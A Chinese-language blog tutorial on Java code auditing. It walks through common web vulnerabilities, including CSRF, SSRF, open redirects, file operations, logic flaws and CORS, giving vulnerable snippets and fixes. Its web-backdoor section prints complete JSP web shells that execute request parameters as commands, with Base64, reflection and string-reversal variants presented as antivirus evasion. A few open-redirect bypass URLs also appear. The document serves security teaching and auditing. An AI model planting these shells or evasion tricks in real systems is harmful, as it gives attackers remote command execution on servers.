Java代码审计入门篇:常见漏洞的代码审计

Java代码审计入门篇:常见漏洞的代码审计

CSRF

CSRF 漏洞的工作原理是攻击者盗用了用户的身份,以用户的名义发送恶意请求。

一次完整的 CSRF 攻击需要具备以下两个条件:

  • 用户已经登陆某站点,并且在浏览器中存储了登陆后的 Cookie 信息
  • 在不注销某站点的情况下,去访问攻击者构造的站点

实际案例

CSRF 攻击可能出现的场景很多,如更改个人信息、添加/修改资料、关注用户或者与交易相关的操作等。通常来说,最简单的检测 CSRF 漏洞方法就是抓取一个正常请求的 GET/POST 数据包,删除 Referer 字段后重新提交,如果该提交操作有效,那么基本上可以确定该操作存在 CSRF 漏洞。

业内专门针对 CSRF 漏洞进行检测的工具:CSRFTester、CSRF Request Builder

对Referer过滤不严导致的CSRF漏洞

String referer = request.getHeader("Referer");
if ((referer!=null) &&(referer.trim().startWith("www.testdomain.com"))) {
    ......
}

上述代码对 CSRF 漏洞的防御流程如下:

  • 从用户的请求头中取得 Referer 的值,判断其是否为空
  • 若为空,则跳转至首页;若不为空,则进行下一步判断
  • 判断 Referer 是否以 www.testdomain.com 开头,若不是,则跳转至首页;若是,则执行该操作请求。

利用构造二级域名为 www.testdomain.com.hacker.com 的地址可以绕过检测。

token可重用导致CSRF漏洞

String sToken = generateToken();
String pToken = req.getParameter("csrf-token");
if(sToken != null && pToken != null && sToken.equals(pToken)) {
    chain.doFilter(request,response);
} else {
    request.getRequestDispatcher("index.jsp").forward(request,response);
}

在这段程序中,当用户登陆成功后,首先通过 generateToken() 方法生成一个属于该用户的 token ,然后将其保存在服务端,并且将其镶嵌到 HTML页面的 <input> 标签内。当用户提交操作的时候,程序会比较该标签的 token 值是否等于服务端的 token 值,如果相等,则判断该操作是用户本人操作,而不是收到了 CSRF 攻击。

但是这里存在的问题是用户在登陆成功后,生成了唯一的令牌直到用户注销前该 token 都是有效的,当这个 token 被盗用或者泄露,就可能导致CSRF漏洞发生。

修复方式

STP 令牌同步模式

当用户发送请求时,服务端将生成的 token 镶嵌到 HTML页面的表单内。当用户提交操作的时候将令牌发送到服务端进行验证。令牌可以通过任何方式生成,但是要保证其唯一性。

检查 Referer 字段

在处理敏感数据时,Referer 字段应该与请求地址位于同一域名下。如果时 CSRF 攻击传递来的请求,Referer 字段时会包含恶意攻击载荷的地址,通过这种判断能够识别出 CSRF 攻击。

添加检验 token

在所有用户进行敏感操作时,要求用户浏览器提供为保存在 Cookie 中且攻击者无法伪造的数据作为校验,那么攻击则会就无法再进行 CSRF 攻击。这种方式通常是在请求时增加一个加密的字符串 token,当客户端提交请求时,这个字符串 token 也被一并提交上去以供校验。当用户进行正常访问时,客户端的浏览器能够正常得到并传回这个字符串 token。

SSRF

利用 SSRF 漏洞实现的攻击:扫描内网、向内部任意主机的任意端口发送精心构造的攻击载荷请求、攻击内网的 Web 应用、读取文件以及拒绝服务攻击等。需要注意的是,Java 中的 SSRF 利用是有局限性的,在实际场景中,一般利用 http/https 协议来探测端口、暴力穷举等,还可以利用 file 协议读取/下载任意文件。

SSRF 出现的场景有在线翻译、转码服务、图片收藏/下载、信息采集、邮件系统或者从远程服务器请求资源等。对于代码审计来说,通常关注以下的敏感函数:

HttpClient.execute()
HttpClient.executeMethod()
HttpURLConnection.connect()
HttpURLConnection.getInputStream()
URL.openStream()
HttpServletRequest()
BasicHttpEntityEnclosingRequest()
DefaultBHttpClientConnection()
BasicHttpRequest()

还有一些需要关注的类如 HttpClient 类、URL 类以及它们封装后的类等。

实际案例

利用 SSRF 漏洞进行端口扫描

String url = request.getParameter("url");
String htmlContent;
try {
    URL u = new URL(url);
    URLConnection urlConnection = u.openConnection();
    HttpURLConnection httpUrl = (HttpURLConnection) urlConnection;
    BufferedReader base = new BufferedReader(new InputStreamReader(httpUrl.getInputStream(),"UTF-8"));
    StringBuffer html = new StringBuffer();
    while ((htmlContent = base.readLine()) != null) {
        html.append(htmlContent);
    }
    base.close();
    print.println("<b>端口探测</b></br>");
    print.println("<b>url:" + url + "</b></br>");
    print.println(html,toString());
    print.flush();
} catch (Exception e) {
    e.printStackTrace();
    print.println("ERROR!");
    print.flush();
}

以上代码功能为:

  • URL对象使用 openConnection() 打开链接,获得 URLConnection 类对象
  • 使用 InputStream() 获取字节流
  • 然后使用 InputStreamReade() 将字节转化为字符流
  • 使用 BufferedReader() 将字符流以缓存的形式输出的方式来快速获取网络数据流
  • 最终装输入 html 变量中,输出到浏览器

这段代码主要功能是模拟一个 http 请求,如果没有对请求地址进行限制和过滤,即可利用来进行 SSRF 攻击。

利用 SSRF 漏洞进行任意文件读取

String url = request.getParameter("url");
String htmlContent;
try {
    URL u = new URL(url);
    URLConnection urlConnection = u.openConnection();
    BufferedReader base = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
    StringBuffer html = new StringBuffer();
    while ((htmlContent = base.readLine()) != null) {
        html.append(htmlContent);
    }
    base.close();
    print.println(html,toString());
    print.flush();
} catch (Exception e) {
    e.printStackTrace();
    print.println("ERROR!");
    print.flush();
}

Java 网络请求支持的协议:http、https、file、ftp、mailto、jar、netdoc

Hawtio SSRF漏洞(CVE-2019-9827)

/proxy/ 页面对传入的 URL 进行了限制,但是没有对端口、协议进行相应的限制,从而导致了 SSRF 漏洞;后续官方修复采用增加访问权限的方式进制未经验证的用户访问该页面。

Weblogic SSRF漏洞(CVE-2014-4210)

在 SearchPublicRegistries.jsp 页面中对传入的 operator 参数会进行访问,并将该参数所传的 IP 地址是否存在的结果返回一个不同的报错页面,所以能够用来扫描内网地址。

修复方式

  • 统一错误信息,避免用户根据错误信息来判断远端服务器的端口状态
  • 限制请求的端口为 http 常用端口,如 80、443、8080、8090等
  • 禁用不需要的协议,仅仅允许 http 和 https 请求
  • 根据业务需求,判定所需的域名是否是常用的几个,若是,则将这几个特定的域名加入白名单,并拒绝白名单域名之外的请求
  • 根据请求来源,判定请求地址是否是固定请求来源,若是,则将这几个特定的域名/IP 添加到白名单,并拒绝白名单域名/IP 之外的请求
  • 若业务需求和请求来源并不固定,则可以自己编写一个 ssrfCheck 函数,检测特定的域名、判断是否是内网 IP、判断是否为 http/https 协议等

URL 跳转

URL 跳转漏洞场景集中在用户登录、统一身份认证处。大多数访问通过认证后会跳转到指定地址,还有些则在用户分享、收藏内容后会跳转到原来的页面或者其他页面。此外,还有站内单机其他网址链接也会进行跳转,如果 URL 中存在转跳地址,则可能存在 URL 转跳漏洞。

转跳漏洞成因:

  • 开发人员编写代码时没有考虑 URL 转跳漏洞
  • 开发人员编写代码时采用关键字、取后缀等方法简单判断要转跳的地址,使代码逻辑可被绕过
  • 开发人员对传入的 URL 地址进行切割、拼接,导致攻击者可以利用其代码本身的逻辑进行绕过
  • 由于使用的开发语言特性、服务器/容器特性、浏览器特性等对标准 URL 协议解析处理等差异性导致被绕过
  • 由于使用的开发语言的某些判断域名的函数库出现逻辑漏洞挥着以外特性导致被绕过

常见参数名

url
site
host
redirect
domain
target
link
jump_to
returnURL

常见函数名

sendRedirect
getHost
redirect
setHeader
forward

实际案例

无限制的任意 URL 跳转

String url = request.getParameter("url");
response.sendRedirect(url);

开发人员未对传入的 url 参数未作任何限制,可以跳转到任意地址,从而导致了任意 URL 跳转漏洞。

有限制的任意 URL 跳转

String trustUrl = "www.domian.com";
String url = request.getParameter("redirectUrl");
if (url.substring(0,trustUrl.length()) == trustUrl) {
response.sendRedirect(url);
}

开发者认为传入的 URL 地址前若干位为其实现设定好的白名单地址则认为该地址是可信安全的,并执行跳转。但是这种判断方式存在各种绕过方式:

?redirectUrl=http://www.domain.com.hacker.net
?redirectUrl=http://www.domain.com/www.hacker.net
?redirectUrl=http://www.domain.com?www.hacker.net
?redirectUrl=http://www.domain.com@www.hacker.net
?redirectUrl=http://www.domain.com#www.hacker.net

修复方式

最简单直接的修复方式是设置二次提醒,即当要从本域名跳转到其他域名时,建立二次确认跳转页面,用户只有二次单击确认后才可以跳转,但这种方式对用户不友好。其他针对性的修复方式如下:

  • 若跳转的 URL 事先是可以确定的,那么设置好白名单,并且次啊用全匹配的方式取检索关键字/域名;也可以先配置好相关参数,只需传对应的 URL 的索引即可通过索引找到对应的 URL ,然后再进行跳转
  • 若实现无法确定跳转的 URL ,且并不是由用户通过参数传入的,那么可以首先生成跳转链接,然后进行签名,只有通过验证签名才能进行跳转
  • 若跳转的 URL 实现无法确定,并且是由用户通过参数传入的,则必须再跳转时对传入的 URL 进行详细校验,包括但不局限于:是否是白名单内的 URL,是否包含有相关特殊字符,是否处理好不规则协议、不规则地址的请求等方式。

文件操作漏洞

文件包含漏洞

JSP 中包含其他文件的方式

  • 静态包含
%@include file="test.jsp"
  • 动态包含
<jsp:incldude page="<%=file%>"></jsp:incldude>
<c:import url="<%=url%>"></c:import>

由于静态代码的 file 参数不能动态赋值,因此不存在包含漏洞;而动态包含中的 file 参数是可以动态赋值的,但是 java 对文件的包含并不会将非 JSP 文件作为 java 代码去解析执行,正常情况下也不会存在文件包含漏洞,只有文件读取和文件下载。

但是可以利用服务器容器本身的一些特性(如将指定目录下的文件全部作为 JSP 文件解析),来实现任意后缀的文件包含,如 Apache Tomcat Ajp(CVE-220-1938)漏洞,利用 Tomcat 的 AJP(定向包协议)实现了任意后缀名文件当成 JSP 文件去解析,从而导致 RCE。

文件上传漏洞

文件上传成因:

  • 仅前端过滤
  • 后端过滤不严格
  • 上传类型过滤不严格
  public boolean checkMimeType(String filename) {
      String type = null;
      Path path = Paths.get(filename);
      File file = new File(path);
      URLConnection connection = file.toURL().openConnection();
      String mimeType = connection.getContentType();
      if (assertEquals(mimeType,"image/png")) {
          return true;
      } else {
          return false;
      }
  }

上传代码针对上传文件的检测只有一个环节,即通过 checkMimeType() 函数来判断用户上传文件的 MineType 的类型是否为 image/png 类型,但是 checkMimeType() 函数里面是使用 getContentType() 方法来获取文件的 MimeType,攻击者可以通过抓包该报的方式修改文件类型从而绕过。

  • 后缀名过滤不严格
  suffixName = fileName.substring(fileName.indexOf("."),fileName.length());
  if(suffixName.equals("jsp")) {
      return "error";
  }else {
      try{
          .......
      }

  }

开发者使用黑名单机制,用 fileName.indexOf(".") 去检测文件的后缀名,而 indexOf(".") 是从前往后取第一个点后的内容,如果攻击者上传的文件后缀名为 test.png.jsp,则可绕过检测。若将 indexOf(".") 替换为 lastIndexOf(".") 同样也不能避免被绕过,因为还存在大小写绕过。

与文件上传漏洞相关的函数

File
lastIndexOf
indexOf
FileUpload
getRealPath
getServletPath
getPathInfo
getContentType
equalsIgnoreCase
FileUtils
MultipartFile
MultipartRequestEntity
UploadHandleServlet
FileLoadServlet
FileOutputStream
getInputStream
DiskFileItemFactory

修复:

  • 对于上传文件的后缀名截取校验时,忽略大小写,采用统一小写或大写的方法进行比对校验
  • 严格检测上传文件的类型,推荐采用白名单的形式来检验后缀名
  • Java 版本小于 jdk 7u40 时可能存在截断漏洞,因此要注意 jdk 版本对程序的影响
  • 限制上传文件的大小和上传频率
  • 可以对上传的文件进行重命名、自定义后缀等

文件下载/读取漏洞

文件上传用到的是 FileOutputStream,文件下载用的是 FileInputStream,成因通常是对传入的路径未作严格的检验,导致能够让攻击者自定义路径。

protected void doPost(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException {

    String rootPath = this.getServletContext().getRealPath("/");
    String filename = request.getParameter("filename");
    filename = filename.trim();
    InputStream inStream = null;
    byte[] b = new byte[1024];
    int len = 0;
    try {
        if (filename != null) {
            inStream = new FileInputStream(rootPath + "/Public/download" + filename);
            response.reset();
            response.setContentType("application/x-msdownload");
            response.addHeader("Content-Disposition","attachment; filename=\"" + filename + "\"");
            while ((len = inStream.read(b)) > 0) {
                response.getOutputStream().write(b,0,len);
            }
            response.getOutputStream().close();
            inStream.close();
        } else {
            return;
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
}

当服务端收到 filename 就直接发开文件对象并创建文件输入流,攻击者只需在文件名中写入任意路径,就可以达到下载指定路径里的指定文件的目的。

修复:

  • 将下载文件的路径和名称存储在数据库中或者对应编号,当有用户请求下载时,直接接受其传入的编号或者名称,然后调用对应的文件下载即可
  • 在生成 File 文件之前,应对用户传入的下载路径进行校验,判断该路径是否位于指定目录下,以及是否允许下载或读取

文件写入漏洞

文件写入并非真正要上传一个文件,而是将原本要上传的文件中的代码通过 Web 站点的某些功能直接写入服务器,如某些站点后台的 “设置/错误页面编辑” 功能或 HTTP PUT 请求等。

案例:ZrLog 2.1.0 后台文件写入漏洞

修复:

  • 保证接受的路径不被用户控制,对写入的内容进行校验
  • 关注源程序是否具有写入文件的站点功能
  • HTTP 请求中的 PUT 方法也可以创建并写入文件

文件解压漏洞

文件解压漏洞的利用能够在成路径便利、文件覆盖、拒绝服务、文件写入等

案例:Jspxcms-9.5.1 由 zip 解压功能导致的目录穿越漏洞

修复:增加对 ZIP 包算法的防护逻辑,如使用代码在解压每个条目之前对其文件名进行校验。如果某个条目校验未通过(预设解压路径与实际解压路径不一致),那么整个解压过程将会被终止。

Web 后门漏洞

函数调用

Java 中也存在命令执行函数,其中使用最频繁的是 java.lang.Runtime.exec()java.lang.ProcessBuilder.start()

java.lang.Runtime

<%
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while ((a=in.read(b)) != -1) {
        out.println(new String(b));
    }
    out.print("</pre>");
%>

java.lang.ProcessBuilder

<%
    java.io.InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    byte[] b = new byte[2048];
    int a = -1;

    while ((a=in.read(b)) != -1) {
        baos.write(b,0,a);
    }

    out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

利用反射

<%@ page import="java.util.Base64.Decoder" %>
<%@ page import="java.util.Base64" %>

<%
    Decoder decoder = Base64.getDecoder();
    Class rt = Class.forName(new String(decoder.decode("amF2YS5sYW5nLlJ1bnRpbWU=")));
    Process e = (Process) rt.getMethod(new String(decoder.decode("ZXhlYw==")),String.class).invoke(rt.getMethod(new String(decoder.decode("Z2V0UnVudGltZQ=="))).invoke(null, new Object[]{}),request.getParameter("cmd"));
    java.io.InputStream in = e.getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while ((a=in.read(b)) != -1) {
        out.println(new String(b));
    }
    out.print("</pre>");
%>

JDK特性

  • 利用 Lambda 表达式编写 JSP 一句话木马
<%@ page import="java.util.Arrays" %>
<%@ page import="java.util.List" %>
<%@ page import="java.lang.reflect.Method" %>

<%
    String[] planets = new String[] {"redliuBssecorP.gnal.avaj"};
    Arrays.asList(planets).replaceAll(s -> new StringBuilder(s).reverse().toString());
    String name = Arrays.toString(planets).replace("[","").replace("]","");
    String st = "start";
    String pw = request.getParameter("pw");
    Class cls = Class.forName(name);
    Object obj = cls.getConstructor(List.class).newInstance(Arrays.asList(pw));
    Method startCmd = cls.getMethod(st);
    Process p = (Process)startCmd.invoke(obj);

    java.io.InputStream in = p.getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while ((a=in.read(b)) != -1) {
        out.println(new String(b));
    }
    out.print("</pre>");
%>
  • 使用 java8 的新特性,访问接口中的默认方法—-Reduce
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.*" %>

<%
    List<String> stringCollention = new ArrayList<>();
    stringCollention.add("ProcessBuilder");
    stringCollention.add("java.lang.");
    Optional<String> reduced = stringCollention.stream().sorted().reduce((s1,s2) -> s2 + "" + s1);
    String name = String.valueOf(reduced).replace("Optional[","").replace("]","");
    String st = "start";
    String pw = request.getParameter("pw");
    Class cls = Class.forName(name);
    Object obj = cls.getConstructor(List.class).newInstance(Arrays.asList(pw));
    Method startCmd = cls.getMethod(st);
    Process p = (Process)startCmd.invoke(obj);

    java.io.InputStream in = p.getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while ((a=in.read(b)) != -1) {
        out.println(new String(b));
    }
    out.print("</pre>");
%>

Reduce 是一个最终操作,允许通过指定的函数讲 stream 中的多个元素规约为一个元素,规约后的结果通过 Optional 接口表示,然后利用 replace 替换执行函数的字符即可达到免杀的效果。

逻辑漏洞

登陆相关

  • 登陆没有错误惩罚机制,而且会返回错误信息,攻击者能够爆破获取信息
  • 登陆惩罚措施过重,攻击者利用这点让正常用户账号被封禁
  • 登陆时的验证码不变,验证码没有一个完整的服务请求,只有当新用户刷新URL时才改变
  • 拦截登陆时验证码的刷新请求,可以使第一次验证码不会失效,从而绕过验证码的限制
  • 使用短信验证码登陆的站点,当验证短信验证码时返回 state 的成功值为 success,失败值是 false,然后客户端根据 state 的值来确定下一步动作。通过修改相应包,绕过短信验证。

密码找回和密码修改

  • 验证码有效时间过长,导致不失效可被爆破
  • 验证码找回界面未作校验,导致可以跳步找回,即直接访问密码修改页面
  • 未对找回密码的每一步做限制,如找回需要3个步骤,第一步确定要找回的账号,第二部做验证,第三部修改密码。在第三步修改密码时,存在账号参数,因此可以尝试修改其他用户账号,达到修改任意账户密码的目的。
  • 有些密码找回时未作验证码功能,因而可能导致账号枚举

支付和购买

  • 未对价格做二次验证,导致攻击者可以抓包修改价格参数后提交,实现修改商品价格的逻辑漏洞
  • 存在两个订单,一个订单1元,另一个订单1000元,对于1元订单进行支付,支付后返回时存在token,将这个token保存,然后再将订单替换成贵的订单,这样就可能完成两个订单的同时支付
  • 没有购买数量进行负数限制,这样就会导致有一个负数的需支付金额,若支付成功,则可能购买了一个负数数量的产品,也有可能返还相应的积分/金币到用户的账户上
  • 请求重放,当支付成功时,重放其中请求,可能导致本来购买的一件商品数量变成重放请求的次数,但价格只是支付一件商品的价格,更甚者多次下订单,会出现0元订单情况

前端配置不当漏洞

CORS策略

设置 CORS 的代码如下:

response.setHeader("Access-Control-Allow-Origin"."null");

开发者将可访问资源的域错误地设置为通配符。通配符时 CORS 默认设置的值,这意味着任何域都能访问该站点上的资源。由于目标站点可以与任何站点共享信息,并且攻击者在请求字段中设置了 Origin 字段信息为攻击域,所有当受害者在浏览器打开攻击域的站点时,攻击者就可以在这个域中编写相应的代码来后去相关敏感信息。

CORS配置错误还有:

  • 子域名通配符
  • 域名前通配符
  • 域名后通配符

CSP策略

虽然 CSP 提供了强大的安全保护,但同时也造成了如下问题:

  • Eval 及相关函数被禁用
  • 内嵌的 JavaScript 代码将不会执行
  • 只能通过通过白名单来加载远程脚本

在真是开发过程中,往往难以避免使用内联脚本,这时候只能使用 script-src unsafe-unline 选项,给攻击者可乘之机

拒绝服务攻击漏洞

ReDos

正则表达式拒绝服务,开发人员使用正则表达式对用户输入进行有效性校验,但是当编写的正则表达式存在缺陷时,攻击者可以构造特殊字符来大量消耗服务器的系统资源,造成服务器的服务中断或堵塞。

关注函数:

matcher()
compile()
regex()
split()
replaceAll()

预防:开发者应该预先格式化/验证正则表达式,或者由用户直接搜索文本,而不是直接输入正则表达式;如果正则表达式花费的时间太长,应该立即终止,并且重新修改正则表达式;正则表达式中使用原子分组。原子组是一个组,当正则表达式引擎退出时,他会自动重置回溯位置。

压缩包炸弹

解压程序在对“压缩包炸弹”进行解压缩时,可能感到负担,进而崩溃。同时,服务器的硬盘空间可能被写满,致使正常工作受影响。

预防:从站点的业务功能去防护,开发人员需要增加解压 ZIP 包算法的防护逻辑,对 ZIP 压缩包中的文件总大小进行限制。

点击劫持漏洞

点击劫持是一种视觉上的欺骗手段,攻击者利用 iframe 元素制作了一个透明的、不可见的页面,然后将其覆盖在另外一个页面上,最终诱使用户在该页面上进行操作。

预防:

最直观的审计方式就是直接使用 iframe 引用,观测该站点能否访问,其次就是通过审计配置设置来确定源程序是否设定了相关策略:

  • 设置 Meta 标签方法,如设置 <meta http-equiv="X-FRAME-OPTIONS" content="DENY">
  • 设置 Apache 主机方法,如设置 Header always append X-Frame-Options SAMEORIGIN
  • 设置 Nginx 主机方法,如设置 add_header X-Frame-Options "SAMEORIGIN"
  • 设置 .htaccess 文件方法,如设置 Header append X-FRAME-OPTIONS "SAMEORIGIN"
  • 设置合适的 CSP 策略,如设置 Content-Security-Policy:frame-ancestors 'self'

HTTP参数污染漏洞

HTTP参数污染(HPP)就是为一个参数赋予两个或以上的值。由于现行的 HTTP 标准并未具体说明再遇到多个输入值为相同参数赋值时应如何处理,并且不同站点对此类问题做出的处理方式不同,因此会造成参数解析错误。

WEB服务器参数获取函数获取到的参数
PHP/Apache$_GET[“par”]最后一个
JSP/TomcatRequest.getParameter(“par”)第一个
Perl(CGI)/ApacheParam(“par”)第一个
ASP/IISRequest.QueryString(“par”)所有
Python/Apachegetvalue(“par”)所有

预防:首先,合理获取 URL 中的参数值;其次,自获取站点返回给源程序的其他值时要进行特别处理,如过滤相关敏感符号或关键字等;最后还可以使用编码技术对传入的参数进行处理。

参考资料

《Java代码审计》——常见漏洞代码审计

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇